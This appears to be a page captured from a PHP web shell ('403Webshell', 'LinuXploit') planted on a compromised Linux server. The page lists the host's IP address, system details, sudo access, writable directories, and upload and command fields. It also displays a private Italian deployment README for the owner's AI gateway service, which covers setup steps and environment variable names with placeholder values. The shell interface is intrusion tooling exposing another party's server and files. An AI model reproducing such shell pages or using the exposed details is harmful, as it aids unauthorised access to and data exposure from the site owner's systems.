403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.copyrightchain.it/_tmp_patch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.copyrightchain.it/_tmp_patch//README_DEPLOY_STEP_BY_STEP.txt
COPYRIGHTCHAIN_DEPLOY_BUNDLE_v3
================================

Questo bundle NON tocca CSS/Blockchain/OTS. Aggiorna solo AI Gateway per "Modello 2" Tower:
- Login Tower con cookie HttpOnly (niente token esposto nel browser)
- Endpoint Tower (users, wallet, ai stats) in modalità "local registry" con fallback futuro a WordPress
- Logging uso AI e stima costi
- Mantiene compatibilità con X-CCP-Token (admin) già esistente

DEPLOY (comandi singoli, uno alla volta)
----------------------------------------
1) Carica questo zip sul VPS in: /var/www/app.copyrightchain.it/

2) Estrai in _tmp_patch:
sudo rm -rf /var/www/app.copyrightchain.it/_tmp_patch && sudo mkdir -p /var/www/app.copyrightchain.it/_tmp_patch && sudo unzip -o /var/www/app.copyrightchain.it/COPYRIGHTCHAIN_DEPLOY_BUNDLE_v3.zip -d /var/www/app.copyrightchain.it/_tmp_patch

3) Backup + install AI Gateway (solo server):
sudo mkdir -p /var/www/app.copyrightchain.it/_backup && sudo cp -a /opt/ccp-ai-gateway "/var/www/app.copyrightchain.it/_backup/ccp-ai-gateway_$(date +%F_%H%M)" 2>/dev/null || true

sudo cp -a /var/www/app.copyrightchain.it/_tmp_patch/server/ai-gateway/. /opt/ccp-ai-gateway/

4) Permessi + deps:
sudo chown -R www-data:www-data /opt/ccp-ai-gateway && sudo find /opt/ccp-ai-gateway -type d -exec chmod 755 {} \; && sudo find /opt/ccp-ai-gateway -type f -exec chmod 644 {} \; && sudo chmod -R 755 /opt/ccp-ai-gateway/venv/bin /opt/ccp-ai-gateway/.venv/bin 2>/dev/null || true

sudo /opt/ccp-ai-gateway/venv/bin/pip install -r /opt/ccp-ai-gateway/requirements.txt

5) Config .env (minimo necessario):
- Imposta queste variabili (se non già):
  CCP_AI_ADMIN_TOKEN=... (può restare)
  OPENAI_API_KEY=... (opzionale)
  GEMINI_API_KEY=... (opzionale)
  CCP_TOWER_PASSWORD=UNA_PASSWORD_LUNGA_SOLO_TUA
  CCP_SESSION_SECRET=UNA_STRINGA_RANDOM_LUNGA (32+ char)

Per generare un secret sicuro:
python3 - <<'PY'
import secrets
print(secrets.token_urlsafe(48))
PY

6) Restart servizio:
sudo systemctl restart ccp-ai-gateway && sudo systemctl status ccp-ai-gateway --no-pager -l | head -n 20

7) Test:
curl -sS http://127.0.0.1:5060/health && echo

LOGIN TOWER (API)
-----------------
POST /api/ai/tower/login
Body JSON: {"password":"..."}
Risposta: {"ok":true} e set-cookie "ccp_tower=..."

Esempio curl (salva cookie):
curl -sS -c cookies.txt -X POST https://app.copyrightchain.it/api/ai/tower/login -H "Content-Type: application/json" -d '{"password":"LA_TUA_PASSWORD"}' && echo

Poi usa cookie:
curl -sS -b cookies.txt https://app.copyrightchain.it/api/ai/tower/ai/stats && echo

NOTE
----
- /api/ai/text richiede ancora X-CCP-Token (admin) per chiamate dirette.
- In fase successiva colleghiamo AI agli utenti app/WP senza token, usando session utente + policy.

Youez - 2016 - github.com/yon3zu
LinuXploit